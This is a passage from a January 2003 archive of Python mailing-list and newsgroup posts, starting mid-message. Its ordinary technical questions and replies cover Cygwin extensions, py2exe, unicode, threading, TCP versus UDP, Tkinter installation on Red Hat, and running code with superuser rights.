includes and custom error handling on every new page, even if via paste.

>> * Finally, very optional plus, global application scoped variables
>>   (PHP does NOT allow this, but I know why)
>>   (I do not want to hear why you think this is bad)
>>   (I know why it is good, I know why it can be bad)
>
>Most of the frameworks will support this in some manner. If they don't, then 

I don't think they do, and you sound unsure.

Which platform do you recommend I test for all of these requirements?
Many tested so far fail relatively easily. I am looking for concrete
suggestions from people experienced in this sort of web development.



From mghiggins2003 at hotmail.com  Sun Jan 26 22:33:00 2003
From: mghiggins2003 at hotmail.com (Mark Higgins)
Date: Mon, 27 Jan 2003 03:33:00 GMT
Subject: newbie: python/C extensions in cygwin
In-Reply-To: <mailman.1043557305.19484.python-list@python.org>
References: <uxAY9.50693$Oj7.10509228@twister.nyc.rr.com> <BWHY9.64347$yi6.10452736@twister.nyc.rr.com> <mailman.1043557305.19484.python-list@python.org>
Message-ID: <ML1Z9.67076$yi6.10895365@twister.nyc.rr.com>

Thanks for the info! I've never heard of distutils, but it sounds like
something I should check out.


Jason Tishler wrote:
> Mark,
> 
> On Sun, Jan 26, 2003 at 02:42:41AM +0000, Mark Higgins wrote:
> 
>>Ah - found the prob - cygwin stuck libpython2.2.dll into /bin
> 
> 
> Which is correct.  DLLs which are loaded automatically by the Windows
> loader instead of dlopen()-ed by the application go in /usr/bin.
> 
> 
>>instead of some more reasonable directory like /lib or /usr/lib.
> 
> 
> Note, that the import library libpython2.2.dll.a is in
> /usr/lib/python2.2/config.
> 
> 
>>So I needed -lpython2.2 and -L/bin in the compile line.
> 
> 
> No, you need to supply -L/usr/lib/python2.2/config -lpython2.2 while
> linking and -DUSE_DL_IMPORT while compiling.  Note that you should link
> against the import library instead of directly against the DLL.
> 
> BTW, if you use distutils, then the above will happen automatically.
> 
> However, your post has got me thinking that maybe make install under
> Cygwin should copy libpython2.2.dll.a to /usr/lib too?  This would
> facilitate building shared extensions without using a tool like
> distutils.
> 
> Jason
> 




From bub at joos.us  Sun Jan 12 07:38:51 2003
From: bub at joos.us (Bubba)
Date: Sun, 12 Jan 2003 12:38:51 GMT
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com> <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com> <3E207901.7090200@tc.umn.edu>
Message-ID: <nbo22vg5uttkt2fbgo2hnndes363k69fa9@4ax.com>

On Sat, 11 Jan 2003 14:05:21 -0600, Michael Urban
<urba0083 at tc.umn.edu> wrote:
Since you guys are so good at this, how about this, I promise I'm
going to learn this as soon as I get this cleared up, thanks.


C:\Python22>python setup.py py2exe
Traceback (most recent call last):
  File "setup.py", line 7, in ?
    scripts=["counter.py"],)
  File "C:\PYTHON22\distutils\core.py", line 101, in setup
    _setup_distribution = dist = klass(attrs)
  File "C:\PYTHON22\distutils\dist.py", line 130, in __init__
    setattr(self, method_name, getattr(self.metadata, method_name))
AttributeError: DistributionMetadata instance has no attribute
'get___doc__'

C:\Python22>
 

>Bubba wrote:
>
> > This is my setup.py
> > # setup.py
> >    from distutils.core import setup
> >    import py2exe
> >
> >    setup(name="counter",
> >          scripts=["counter.py"],
> >    )
>
>
>And therein lies your syntax error. "from distutils.core import setup" 
>cannot be indented since Python uses indentation for delimiting code 
>blocks. "from" is part of the main block. Indenting it is causing the 
>syntax error. That's why the carrot in the traceback is pointing to the 
>first letter of "from" as well.
>
>You also need to remove the indentation from all of the other statements 
>because they are all part of the main code block. My fortune telling for 
>you is that if you only remove it from the one starting with "from", the 
>next error you will get is:
>
>C:\Python22>python setup.py py2exe
>   File "setup.py", line 4
>     import py2exe
>     ^
>SyntaxError: invalid syntax
>
>Remove the intendations and you should be fine.




From wilk-spamout at flibuste.net  Wed Jan 22 10:22:19 2003
From: wilk-spamout at flibuste.net (William)
Date: 22 Jan 2003 16:22:19 +0100
Subject: Free Hosting for Open Source projects
References: <3e2e9430$0$807$4d4ebb8e@news.nl.uu.net> <3e2e99b7$0$809$4d4ebb8e@news.nl.uu.net>
Message-ID: <878yxd1a6s.fsf@flibuste.net>

"Gumuz" <gumuz at looze.net> writes:

> by the way:
> 
> this is *NOT* some crappy server running at home over ISDN or something like
> that.
> 
> it's a nice dedicated server with a 2 megabit connection where we have total
> control over. if some service is not available (i doubt it) it's always
> possible to add it.
> 
> it's not meant to be superior to sf.net or anything it's just something we
> would like to do and are capable of doing.
> 

Could you run an independant server like twisted or other, for the project ?
We can find a lot of shared hosting, but never for running is own
server. We plan to do this with a friend, but are not ready now.

-- 
William Dode - http://flibuste.net



From jarrodhroberson at yahoo.com  Thu Jan 23 22:56:44 2003
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 23 Jan 2003 19:56:44 -0800
Subject: Commercial IDEs: is it worth it?
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no> <mailman.1043278720.24130.python-list@python.org>
Message-ID: <c718a6cf.0301231956.510044bf@posting.google.com>

Doug Glenn <dglenn at charter.net> wrote in message news:<mailman.1043278720.24130.python-list at python.org>...
> On Wednesday 22 January 2003 06:08, Thomas Weholt wrote:
> > Opinions on what, where and why to pay for a Python-friendly IDE
> > would be appreciated.
> 
> I use Komodo (personal edition 49$), Wingide (Standard, 149$) and 
> BlackAdder Personal Edition (beta, 49$).
> 
> Call me stupid for it if you want. :)
> 
> Komodo for its project management and license for both Windows and 
> Linux. version for the same price. (I  think . I use it on the same 
> computer).  
> 
> Wingide for the excellant source code brower and the source management 
> tools. I prefer the look and feel of Komodo, but Wingide has far more 
> features.
> 
> BlackAdder for the PyQT integration. Although I could have used the open 
> source items to build the GUIs with the free QTDesigner, the 
> documentation for PyQT on it was better than anything I found on the 
> web regarding PyQT even though it is not finished.
> 
> Personally as a newbie to Python, I am looking for all the help I can 
> get without resorting to showing my abject ignorance in the list :).
> 
> On a personal note...
> One other reason to purchase.. they wrote it for Linux and I want to 
> support their efforts. I even buy autoupdates for my distro so they 
> stay in business rather than downloading it. There is no such thing as 
> a free lunch. I try to make sure put my money where my mouth is <smile>
> 
> -----
> Doug


I have to say I have been quite pleased with WingIDE, it is not the
prettiest thing in the world, but it is functional and definately
faster than working with out it.

I am a long time SlickEdit fan, if you do multi-language development
it is by far the most cost effective solution I have ever seen.

That said I am a new Python programmer because I needed a scripting
system for some Java and C++ applications and did not want to
re-invent the wheel, I did some research and selected Python.



From fredrik at pythonware.com  Tue Jan  7 03:01:39 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 07 Jan 2003 08:01:39 GMT
Subject: newbie: unicode
References: <avdv6k$clp$1@news.online.de>
Message-ID: <DPvS9.4982$LY2.288377@newsc.telia.net>

Jan Weing?rtner wrote:

> I'm just beginning to learn Python.
> My tutorial gives an example how to convert a unicode
> string to utf-8:
>
> >>> u"???".encode('utf-8')
> '\xc3\xa4\xc3\xb6\xc3\xbc'
>
> If i try to execute this command, i get the error message:
> "UnicodeError: ASCII encoding error: ordinal not in range(128)"
>
> Why?

how are you executing that command?

there's no way that piece of code can give that error message,
as long as ">>>" is an ordinary Python 2.x interpreter prompt, and
you haven't been hacking around in the site configuration files...

on the other hand,

>>> "???".encode('utf-8')

does give you that message.

more here:

    http://effbot.org/zone/unicode-objects.htm
    http://www.jorendorff.com/articles/unicode/python.html
    http://www.reportlab.com/i18n/python_unicode_tutorial.html
    http://www.python.org/doc/current/ref/strings.html

</F>







From kubin at opf.slu.cz  Wed Jan 29 10:03:46 2003
From: kubin at opf.slu.cz (Lukas Kubin)
Date: Wed, 29 Jan 2003 16:03:46 +0100
Subject: Starting threads
In-Reply-To: <mailman.1043811831.15197.python-list@python.org>
References: <mailman.1043811831.15197.python-list@python.org>
Message-ID: <Pine.LNX.4.44.0301291530030.26166-100000@x.opf.slu.cz>

It's been half a day since I sent a more describing response to the news.
Until now it didn't appear there. So I will try to be more clear now
again:
(I'm running it on linux and python 2.2.1)

The main call looks like:

if __name__ == '__main__':

  for comp in ['hostname1','hostname2']:
    thread = Control(comp)
    thread.start()
    time.sleep(.005)

The doTheAction() function uses socket to connect to a computer and send a
command there.
When I don't use the time.sleep() then it starts 2 threads of 'hostname2'
so it connects 2 times to hostname2 but not to hostname1.
Thank you

lukas


On Tue, 28 Jan 2003, Tim Peters wrote:

> [Lukas Kubin]
> >> import threading
> >>
> >> class Control(threading.Thread):
> >>
> >>   def run(self):
> >>     doTheAction()
> >>
> >> if __name__ == '__main__':
> >>
> >>   for comp in Computers:
> >>     thread = Control()
> >>     thread.start()
> >>     time.sleep(.005)   # <-- This is what I still need to use
>
> [James J. Besemer]
> > Without the sleep (and even with it) your main thread can exit
> > immediately after starting the "Control" threads.
>
> That's so.
>
> > This can be before the threads finish and even before some or all
> > of them actually really get started.
>
> That too.
>
> > There may be some implementations where the main thread waits for the
> > other threads to finish but on some implementations, exiting the main
> > thread definitely kills off the other threads whether they finish or
> > not.
>
> That's true of threads created by the thread module, but not of threads
> created by the threading module (which Lukas is using):  Python arranges for
> the main thread to do (an implicit) t.join() on every thread t created by
> the threading module before allowing the main thread to exit, except for
> threads explicitly set to be daemon threads.
>
> I didn't find the OP's original post clear enough to guess what the real
> problem was.  Knowing the Python version and OS would help.
>
>
>

-- 
Lukas Kubin

phone: +420696398285
email: kubin at opf.slu.cz

Information centre
The School of Business Administration in Karvina
Silesian University in Opava
Czech Republic
http://www.opf.slu.cz




From phil at river-bank.demon.co.uk  Fri Jan 24 14:25:26 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Fri, 24 Jan 2003 19:25:26 +0000
Subject: PyQT-application crash when shutting down
In-Reply-To: <slrnb2qtlb.45c.hat@se-46.wpa.wtb.tue.nl>
References: <slrnb2qtlb.45c.hat@se-46.wpa.wtb.tue.nl>
Message-ID: <200301241925.26029.phil@river-bank.demon.co.uk>

On Tuesday 21 January 2003 4:34 pm, Albert Hofkamp wrote:
> Hello all,
>
> I am writing an animation application using PyQt at a Redhat 7.2 machine
> (RPM: PyQt-devel-3.1-2).
> The application seems to be working fine, but when I press the 'Quit'
> button (which sends a 'clicked' signal to the 'quit' slot of the main
> application), I get a "segmentation fault".
> Below is a stripped-down application that demonstrates the problem (at
> least at my machine):
>
> #!/usr/bin/python1.5

You code works fine for me - but that's with the latest version of PyQt and 
Python 2.2.2.

Phil




From DennisR at dair.com  Sat Jan 18 18:35:43 2003
From: DennisR at dair.com (Dennis Reinhardt)
Date: Sat, 18 Jan 2003 23:35:43 GMT
Subject: socket programming strategy
References: <mailman.1042929275.30975.python-list@python.org> <utlW9.855$LD.33@newssvr19.news.prodigy.com>
Message-ID: <jxlW9.856$tP.457@newssvr19.news.prodigy.com>

> In production, if one thread takes an exception, I do not want all other
> threads to continue running..

Oops.  "do not want" should read "want"
--

Dennis Reinhardt

http://www.dair.com

"





From judoscript at hotmail.com  Thu Jan  9 01:59:02 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 22:59:02 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org>
Message-ID: <52719db8.0301082259.535824a4@posting.google.com>

Dave Brueck <dave at pythonapocrypha.com> wrote in message news:<mailman.1042039696.8976.python-list at python.org>...
> On Tue, 7 Jan 2003, James Huang wrote:
> 
> > > If that's your definiton, all programming languages of which
> > > I'm aware are "scripting languages".  At least under Linux,
> > > issuing "OS commands"  is a standard library function accessible
> > > to all languages.  C and assembly language can both use the
> > > exact same system() or exec calls that Python and Perl do.
> >
> > Gee... Anyway, this is what I call scripting:
> >
> >    copy '*.java, *.jj' except '*Test*' in '~/src/'
> >         recursive echo
> >         to '~/archive/today';
> >
> >    copy '*.java, *.jj' except '*Test*' in '~/src/'
> >         recursive echo
> >         into '~/archive/today_src.jar';
> >
> > This is programming, "scriptingly":
> >
> >    do 'http://www.google.com' as sgml
> >    {
> >    <a>:   println '<a>   link: ', $_.href;
> >    <img>: println '<img> link: ', $_.src;
> >    }
> >
> > This is pure programming:
> >
> >    for i from 1 to 10 {
> >      println i;
> >    }
> 
> Care to elaborate? From the above it seems that, according to your
> definition, the difference between scripting and programming is purely
> syntactic. Hmm... admittedly this IS a "novel thought on scripting
> languages", but probably not in the sense you were shooting for. IOW, it
> looks like your idea of scripting is closer to "domain-specific syntax" or
> something, in which case SQL would be a scripting language, right? (if
> not, why not?)
> 


Allow me to give my non-scientific definition of scripting language:

Scripting (in programming sense)
================================
is to do things easily, intuitively, obviously, and accurately, so
much so that when another person (with the same domain knowledge) sees
a chunk of code, he immediately understands it without even a hint of
reasoning (ideally).

Scripting Support
=================
Very high level, domain-specific languages or language constructs
(such as syntax support but not always).

Scripting Languages
===================
Are (usually) general-purpose programming languages with one or more
scripting support. They are usually edit-and-run without compile.

Hence, SQL is not a scripting language because you can't program with
it. But it is a domain-specific language.


> Part of my problem is that it's common to use Python for tasks that
> traditionally fall under programming (applications development, system
> programming, etc.) as well as tasks that traditionally fall under
> scripting (the equivalent of one-off scripts that you could also write in
> bash, or things called in cron jobs) to the point that the distinction
> between the two has blurred somewhat because in both cases (1) we use the
> same development tools, (2) we don't do any compiling/linking or other
> prepare-to-use step, and (3) we have full access to whatever resources
> (APIs, libraries, shells) we need.
> 
> So what do consider to be scripting versus programming and in what way
> does it matter? If Judoscript is simply a way to do Java stuff without
> having to go through an explicit compile step, then cool, more power to
> you. But if, as your site implies, there is additional value there that
> might be useful to me (above and beyond Python and similar languages),
> then help me understand what it is (note that simply asserting "it's
> better!" doesn't really help).
> 
> Thanks,
> -Dave

Hope my definition of scripting languages answers most of the concerns
here. The key is the term "scripting". And value and power are all in
this word.

Thanks,
-James



From altis at semi-retired.com  Fri Jan 24 20:20:25 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Fri, 24 Jan 2003 17:20:25 -0800
Subject: ANN: OSCON 2003 (Python 11) call for participation
Message-ID: <wClY9.100$KT2.147492@news.uswest.net>

From: O'Reilly Conferences [mailto:oraconf at ora-info.ora.com]
Sent: Thursday, January 23, 2003 3:56 PM
Subject: oscon 2003 call for participation


2003 O'Reilly Open Source Convention Call For Participation
Embracing and Extending Proprietary Software
http://conferences.oreilly.com/oscon/


O'Reilly & Associates invites programmers, developers, strategists,
and technical staff to submit proposals to lead tutorial and conference
sessions at the 2003 Open Source Software Convention, slated for
July 7-11 in Portland, OR.

Proposals are due February 15, 2003. For more information please
visit our OSCON website http://conferences.oreilly.com/oscon/

The theme this year is "Embracing and Extending Proprietary Software."
Few companies use only one vendor's software on desktops, back office,
and servers. Variety in operating systems and applications is becoming
the norm, for sound financial and technical reasons. With variety comes
the need for open unencumbered standards for data exchange and service
interoperability. You can address the theme from any angle you like--for
example, you might talk about migrating away from commercial software
such as Microsoft Windows, or instead place your emphasis on coexistence.

Convention Conferences
Perl Conference 7
The Python 11 Conference
PHP Conference 3

Convention Tracks
Apache
XML
Applications
MySQL and PostgreSQL
Ruby


Please read the O'Reilly OSCON CFP Press Release
http://press.oreilly.com/oscon2003_cfp.html





From theller at python.net  Fri Jan 24 15:39:22 2003
From: theller at python.net (Thomas Heller)
Date: 24 Jan 2003 21:39:22 +0100
Subject: Unloading COM dlls, help needed
References: <r8b3sj45.fsf@python.net> <bdb5b58f.0301241225.7634e2bd@posting.google.com>
Message-ID: <fzrinuyt.fsf@python.net>

logistix at zworg.com (logistix) writes:

> Did you try to setup an MTS (relabelled 'COM Services' as part of the
> COM+ strategy) package around the components?
> 
> This will allow you to fake out COM and run in-apartments out of
> process.  Then you can kill the MTS package (and attached processes)
> explicitly from the MTS mmc.  Saved my ass when I was developing
> back-end COM components that IIS was putting locks on.

I'll have to look this up, thanks for the pointer.

Thomas



From oren-py-l at hishome.net  Tue Jan 14 07:42:20 2003
From: oren-py-l at hishome.net (Oren Tirosh)
Date: Tue, 14 Jan 2003 07:42:20 -0500
Subject: PEP 267 improvement idea (fwd)
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301131818550.4790-100000@techunix.technion.ac.il>
References: <Pine.GSO.4.44_heb2.09.0301131818550.4790-100000@techunix.technion.ac.il>
Message-ID: <20030114124220.GA37239@hishome.net>

On Mon, Jan 13, 2003 at 06:25:56PM +0200, Beni Cherniavsky wrote:
> Since the PEP's author never replied (and the PEP wasn't updated), I
> thought I'd float the idea.  Perhaps somebody will also answer my
> questions below on how the cross-module part was intended to work...
> 
> -- 
> Beni Cherniavsky <cben at tx.technion.ac.il>

Take a look at http://python.org/sf/606098 

This patch speeds up dictionary lookup by name enough to make schemes 
like PEPs 266, 267 and 280 quite unnecessary. I know Guido likes the 
idea but the implementation is still far from complete. It does 
demonstrate the concepts and attainable performance. Unfortunately, I 
don't have time for this. if you or anyone else want to work on it 
I'll be glad to help. 

    Oren




From james at remove_the_underscores_j_i_m_r_t_h_y.com  Mon Jan 27 04:47:43 2003
From: james at remove_the_underscores_j_i_m_r_t_h_y.com (James Ashley)
Date: 27 Jan 2003 04:47:43 -0500
Subject: Python newbie looking into communications...
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com> <3E3354E0.8225F233@engcorp.com> <xIXY9.125569$GF.31647688@twister.columbus.rr.com> <pan.2003.01.27.00.12.15.881159@compy.attbi.com>
Message-ID: <slrnb39sjd.ej0.james@minerva.jimrthy>

In article 
<pan.2003.01.27.00.12.15.881159 at compy.attbi.com>, 
jerf at compy.attbi.com wrote:
> On Sun, 26 Jan 2003 20:39:57 +0000, Sam Marrocco wrote:
>> If the Controller was a TCP Server and the nodes were TCP Clients, the 
>> Controller/server had to be running first, then the Nodes/Clients. If 
>> the Controller/Server was restarted (which happens often)then things 
>> went awry. 
> 
> Since you said you were new to networking, I would point out that there
> isn't really a such thing as "TCP Server" or "TCP Client". The
> communication protocol itself is "peer-to-peer", long before that became a
> meaningless buzz word. You are using the terms correctly and I know what
> you mean, but it's importent that your concept of "TCP" itself does not
> include "server" or "client", that's a function of how you use the
> protocol. Only "initiator" and "receiver" really matter.

The point remains, though.  When one member of a TCP pair goes away, it
tends to be uglier than over UDP.  (If nothing else, as I recall, win 32
--I'm just guessing that's involved--doesn't give you a whole lot of 
control over the sockets, so the timeout can be a lot uglier than just
waiting on a "heartbeat."
> 
>> Also, the Nodes/clients do not necessarily know *who* the 
>> Controller/Server is, so they receive that information within their data 
>> from the Controller/Server--then send info back to that machine. Nodes 
>> and Controller can be rebooted at any time, and the apps restarted.
> 
> TCP connections will notify you when they have been terminated for any
> reason. Exactly when that happens depends on the exact parameters of the
> connection and the underlying network API. 

It's that "depends" part that, in some cases, does make UDP a better
engineering choice.

> You can easily re-try the
> previous server address every so often, or have the server try to
> reconnect to its clients after a reboot.
> 
> In fact, for the sake of robustness, you need to have this stuff anyhow,
> unless they are all sitting on the same well-maintained LAN. 

Or even then...depends on the app, of course <G>.

> The Internet
> periodically burps no matter how good your programming is.
> 
>> When I started playing with UDP, I realized that, yes, the "lack of 
>> guarantee" that the data would get there was an issue--which I could 
>> correct for by including acknowledgments and a little handshaking 
>> between machines. But it seemed well worth it for the ability to have a 
>> "server-less" communications arrangement that didn't gag when the server 
>> machine disappeared.
> 
> When the server machine disappears, the connection gags no matter what.

The severity of the gagging differs, though.  I was only a junior member
on this team, and I never got into these details.  But I once worked on
a project where, randomly, one client would lose its connection to
the server.  Somehow or other, this wound up locking up every other
client involved.  To fix this problem, everything was ported to UDP.

> TCP lets you detect that without writing the detection routine. UDP
> requires you to write it. And don't forget the hairy problem of when the
> ack is sent but the original sender doesn't receive the ack!

UDP is definitely more complicated <G>.
> 
<snip>
>> 
>> But the most important thing was that any machine on the network could 
>> be restarted at any time, *without* having to have a server app always 
>> running.
> 
> TCP still seems a better choice. Establishing a TCP connection and pumping
> out a few packets vs. establishing a UDP connection and pumping out a few
> packets (which is how it will look at the API level) is so similar in
> programmer cost you're still probably going to come out ahead with TCP.
> Either way, you still need to write the SendToMachine function, so who
> cares? ;-)

I think this might work better if it's re-phrased just a shade:  it's
probably more productive/simpler design/better/etc. to at least start
with TCP.  After you have a system up and running, if you have weird
networking problems (mainly related to dropped connections, though you
can probably handle re-boots gracefully enough), then it might be worth
porting to UDP.
> 
> The only scenario where UDP wins is if the network connection is REALLY
> intermittent and it truly doesn't matter if a large number of messages are
> dropped. You can then eke out an advantage with simply sending lots of UDP
> packets and forgetting acks entirely, but that's a rare application. Net
> telephony and video streaming and little else.

I'll add mobile clients using ethernet-over-radio'ly yrs,
James




From amol at kenati.com  Sat Jan  4 09:19:02 2003
From: amol at kenati.com (Amol Sonaikar)
Date: Sat, 4 Jan 2003 19:49:02 +0530
Subject: Calling a python program within a python program
Message-ID: <200301041413.GAA08539@cyberpopuli.com>

Hi all

I have a file called test.py and from that I have to run another program. 
This program should be called from the first script after the end of first 
script. 

Is there any function from which I can call the another program. (The program 
is Python script only).

Amol




From cnetzer at mail.arc.nasa.gov  Fri Jan 31 16:55:24 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 31 Jan 2003 13:55:24 -0800
Subject: (no subject)
In-Reply-To: <3E3AEB1A.6587E1C@pitt.edu>
References: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>
	 <1044047452.1119.8.camel@sayge.arc.nasa.gov>  <3E3AEB1A.6587E1C@pitt.edu>
Message-ID: <1044050124.1118.35.camel@sayge.arc.nasa.gov>

On Fri, 2003-01-31 at 13:31, Michele Simionato wrote:

> I posted a stripped version of my code, In the original I check against
> sys.version before changing  __builtin__

Perhaps rather than do a version check, you could do:

try:
    True
    False
except NameError:
    # Add to builtins here

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From adalke at mindspring.com  Tue Jan 28 11:48:43 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 28 Jan 2003 09:48:43 -0700
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <SCwZ9.917$CO5.116402193@newssvr14.news.prodigy.com>
References: <mailman.1043707550.22103.python-list@python.org> <SCwZ9.917$CO5.116402193@newssvr14.news.prodigy.com>
Message-ID: <b16c97$li8$1@slb0.atl.mindspring.net>

Dennis Reinhardt wrote:
> Why not "pyc_dir" as a shorter name?

Perhaps because optimized Python bytecodes have the suffix ".pyo".

					Andrew
					dalke at dalkescientific.com




From adonisv at earthlink.net  Sun Jan 26 13:02:17 2003
From: adonisv at earthlink.net (Adonis)
Date: Sun, 26 Jan 2003 18:02:17 GMT
Subject: Pmw Question.
Message-ID: <JoVY9.4647$U27.436386@newsread2.prod.itd.earthlink.net>

How am I able to change the font of a widget in Pmw? (particularly the
Pmw.OptionMenu) I googled around and came up with Pmw's font scheme, but I
could not find anything on how to personalize it, unless I missed something?

Any help is greatly appreciated.

Adonis





From achim.domma at syynx.de  Thu Jan 23 12:18:04 2003
From: achim.domma at syynx.de (Achim Domma)
Date: Thu, 23 Jan 2003 18:18:04 +0100
Subject: replace linebreak
Message-ID: <b0p7va$ebu$06$1@news.t-online.com>

Hi,

I try to replace line breaks using the re module, but can not figure out how
to do it. If a line does not end with a ')' I want to join it with the
following line. I tried something like

expr = re.compile(r'[^)]\n',re.M)
expr.sub('',file_content))

but it does not change anything.

regards,
Achim





From skip at pobox.com  Mon Jan  6 12:45:05 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 6 Jan 2003 11:45:05 -0600
Subject: Panic Memory leaks 
In-Reply-To: <F118HQHz4Axu68SRgcT0002a518@hotmail.com>
References: <F118HQHz4Axu68SRgcT0002a518@hotmail.com>
Message-ID: <15897.49313.186711.461986@montanaro.dyndns.org>

    >> I used Python/C API for developing an extension.  I properly made
    >> memory management through python memory allocation and deallocation
    >> functions such as PY_DECREF.  I properly initialized python by
    >> PY_initialize and finally deinitialized through py_finalize. But
    >> still I am not able to get rid of memory leaks.

I suspect that although you think you did everything properly, you still
have some reference counting errors in your code.  If you can post your
code, please do so.  People here will probably be able to spot any mistakes.

-- 
Skip Montanaro - skip at pobox.com
http://www.musi-cal.com/
http://www.mojam.com/




From bokr at oz.net  Sun Jan 26 16:11:40 2003
From: bokr at oz.net (Bengt Richter)
Date: 26 Jan 2003 21:11:40 GMT
Subject: memory leak with large list??
References: <mailman.1043498654.32707.python-list@python.org> <b0va52$hac$0@216.39.172.122> <c76ff6fc.0301252339.39db2df5@posting.google.com> <CS-dnSQKgr8uD66jXTWcqw@comcast.com>
Message-ID: <b11iuc$649$0@216.39.172.122>

On Sun, 26 Jan 2003 02:39:43 -0500, "Terry Reedy" <tjreedy at udel.edu> wrote:

>> > >Each object has at least a pointer to the object's type object,
>and a
>> > >refcount, for at least 8 bytes of overhead.  So a float object
>consumes at
>> > >least 16 bytes.
>> > Why do you need to duplicate the type pointer for all those? I.e.,
>if
>> > you allocated space in decent-size arrays of object
>representations without
>> > type pointer, and just reserved a header slot in front of the
>array, [snip]
>
>Because in Python, each object is a separate object, and because lists
>are heterogeneous.  Anyone who wants to work with 12 mil floats should
>almost certainly be using Numerical Python, which does have homegenous
>arrays of native floats (8 bytes per) along with C functions to do
>most common 'base' computatons.
>
I agree about using Numerical Python and an array of native floats for
12 mil floats, as you describe, but I don't think the fact that lists
"are heterogenous" is a real reason to need per-object type pointers
for all types of objects.

A list doesn't care where the objects it refers to are stored, so e.g.,
floats could be put in floats-only areas, and others could be put in
mixed-areas, and you'd figure type by figuring out from the address first
what kind of area the thing is in, and then if it's a float-only area,
you know right then you've got a float, and if its mixed, you go to the
object representation for type info.

Small lists and tuples could themselves be allocated in specialized areas
with some space savings, since they are homogeneous in themselves -- i.e.,
they don't actually have objects embedded, just references to objects.

But Tim is right, all in all it's usually easier to buy memory. And a simple
consistent way of doing things is worth a _lot_, which today's memory prices
allow. (I just got my space-saving reflexes when 4k of 300ns memory cost
more than all the PC's I've owned put together ;-)

Regards,
Bengt Richter



From rcellis at email.com  Sun Jan 12 15:58:27 2003
From: rcellis at email.com (R. C. Ellis)
Date: Sun, 12 Jan 2003 20:58:27 GMT
Subject: idle will not start
References: <NoTT9.4808$pn3.184916120@newssvr15.news.prodigy.com> <3E207A94.1090103@email.com> <GU%T9.1033$6b.21955655@newssvr17.news.prodigy.com> <rx0U9.954$yh6.745@newssvr19.news.prodigy.com>
Message-ID: <3E21D6F4.7030802@email.com>

Robert Hord wrote:
> Robert Hord wrote:
> 
> 
>>R. C. Ellis wrote:
>>
>>
>>>Robert Hord wrote:
>>>
>>>>I have install the RH 8.0 with python.  When I start ./idle I get an
>>>>error
>>>>"no module named ildelib".  I have done a find -name /usr idlelib with
>>>>no
>>>>results.  I also did an ./idle.py with an error "no module named
>>>>Tkinter". I have installed the tcl/tk from the RH cd.
>>>>
>>>>? Anyone know what I'm missing ?
>>>>
>>>
>>> From what I understand from other on-line sources, RedHat chose NOT to
>>>include Tkinter in it's python install.
>>>
>>>In my case I downloaded the latest Python tgz file from python.org
>>>(which includes Tkinter, supposedly) and did the configure-make-make
>>>install, but it *Still* is unable to find the necessary files to access
>>>Tkinter libs.  I've fiddled with all the available environment
>>>variables, "locate"ed the Tkinter file - no luck.  I've asked the
>>>follow-on question relating to this: to wit, "OK What do I do now?" or
>>>"What did I miss and get wrong?"
>>>
>>>RC
>>
>>Well, guess I'll go googling.  thanks.
> 
> 
> When here for tkinter
> http://www.redhat.com/swr/i386/tkinter-2.2.1-17.i386.html
> Had to have libtx.so.0 so I went here.
> http://rpmfind.net/linux/rpm2html/search.php?query=libtix.so.0
> 
> All working now.  Looks great. thanks for the input.
> 
> reh - Texas,USA
> RedHat 8.0
> http://flashpages.prodigy.net/rhordjr
> 

Wow.  Just noticed that, while RedHat doesn't install the software, it 
has it on the CD distribution disks.  Saved alot of downloading.

Too bad it doesn't show up in the Install/Upgrade Packages program.

RC




From marian.foerster at informatik.tu-chemnitz.de  Thu Jan 30 10:16:15 2003
From: marian.foerster at informatik.tu-chemnitz.de (Marian =?ISO-8859-1?Q?F=F6rster?=)
Date: Thu, 30 Jan 2003 16:16:15 +0100
Subject: need sample for file-upload via http with auth
References: <3E394124.6030105@informatik.tu-chemnitz.de>
Message-ID: <3E3941BF.9080403@informatik.tu-chemnitz.de>

as multipart/form-data

Marian F?rster wrote:

> need sample for file-upload via http with auth
> 




From tundra at tundraware.com  Sun Jan 26 10:10:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 26 Jan 2003 15:10:07 GMT
Subject: Getting SuperUser Authority From Within Running Python Program
In-Reply-To: <mailman.1043541527.18943.python-list@python.org>
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org>
Message-ID: <2ot01b.atg.ln@boundary.tundraware.com>

Laura Creighton wrote:
>>Is there a way to have a running Python program acquire super-user status
>>(assuming the program knows the correct password)?  If so, is this
>>method portable to Win32 or will Unix and Win32 need different implementation
>>s?
>>
>>TIA,
>>-- 
>>-----------------------------------------------------------------------------
>>-
>>Tim Daneliuk
>>tundra at tundraware.com
> 
> 
> You do not want to do this.  You do not want a super-user shell out
> there, ever, and without that there is no need or use for password
> things. You will totally circumvent all the security mechanisms you
> have.  The unix way to do something as root is to make a setuid
> program -- NOT a shell script-- that does whatever you want done as
> root and does that and only that.  You exec that when you want it. The
> authority comes from the person who is allowed to change the
> permission bits on a file, owned by root, to make it setuid. I have no
> idea what you do for Win32, but I know for certain that this is not
> it.
> 
> Please post what you want to do as root and why so we can figure out
> what is the best thing for you to do.  
